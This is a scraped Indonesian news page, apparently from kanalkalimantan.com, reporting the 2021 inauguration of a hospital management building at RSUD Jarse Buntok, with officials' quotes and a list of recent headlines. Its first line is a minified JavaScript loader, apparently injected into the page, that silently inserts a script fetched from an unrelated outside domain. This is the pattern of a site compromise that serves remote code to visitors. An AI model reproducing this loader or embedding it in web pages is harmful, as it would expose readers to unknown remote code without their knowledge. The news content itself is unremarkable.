(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Empat Tahun Ditunggu, Akhirnya Gedung Manajemen RSUD Jarse Buntok Diresmikan


KANALKALIMANTAN.COM, BUNTOK – Bupati Barsel H Eddy Raya Samsuri ST meresmikan gedung manajemen RSUD Jaraga Sasameh (Jarse) Buntok, Senin (15/11/2021).

Bupati Barsel mengatakan, adanya gedung manajemen yang baru, diharapkan RSUD Jarse mampu meningkatkan kualitas pelayanan kepada masyarakat. Menjadi salah satu rumah sakit rujukan khususnya untuk wilayah Daerah Aliran Sungai (DAS) Barito.

“Bertambahnya fasilitas yang dimiliki RSUD Jarse Buntok, meningkatkan kualitas maupun pelayan lebih baik,” kata Eddy Raya.
Eddy Raya mengucapkan terima kasih kepada Kementerian Kesehatan dan Dinas Kesehatan Provinsi Kalimantan Tengah yang mendukung pembangunan gedung baru tersebut.

Karena kurang lebih selama empat tahun perjuangan Pemkab Barsel untuk bisa mempunyai gedung manajemen di RSUD Jarse akhirnya bisa terwujud.

 

Baca juga : Polres HSU Gelar Operasi Zebra Intan 2021, Kodim 1001 Bantu Kepolisian

“Lantaran kita ingin meningkatkan bidang kesehatan, kebetulan pas Covid-19, kita berharap gedung manajemen rumah sakit ini bisa memberikan pelayanan yang lebih paripurna lagi kepada seluruh masyarakat,” pinta Eddy Raya.

“Karena memang di saat kami melakukan medical check up pada saat pelaksanaan Pilkada, di 2016 dan 2017, fasilitas rumah sakit kita sangat di bawah standar,” ungkap Eddy Raya.

Lebih lanjut olehnya dengan meningkatnya DAK dan beberapa dana dari pusat, kiranya RSUD Jarsel ini menjadi rumah sakit regional di DAS Barito.

Terus meningkatkan kapasitas dengan baik, sehingga RSUD Jarse bisa menjadi kebanggaan warga Barsel.

 

Baca juga : Cuaca Tak Menentu, Saidi Mansyur Ingatkan Seluruh Camat di Kabupaten Banjar

Direktur RUD Jarse Buntok dr Norman Wahyu berharap dengan adanya gedung yang dana pembangunannya bersumber dari Dana Alokasi Khusus (DAK) tersebut, meningkatkan pelayanan kepada masyarakat.

“Berdasarkan peraturan bahwa memang sebelumnya untuk gedung manajemen itu memang berada di ruangan rawat inap yang kita fungsikan sementara, dan harusnya itu tidak boleh,” beber Wahyu.
“Ruangan yang sebelumnya kita gunakan, akan difungsikan kembali untuk penanganan rawat inap pasien,” pungkasnya. (kanalkalimantan.com/digdo)

Reporter : digdo
Editor : bie


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

7 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

7 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

9 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

13 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

14 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.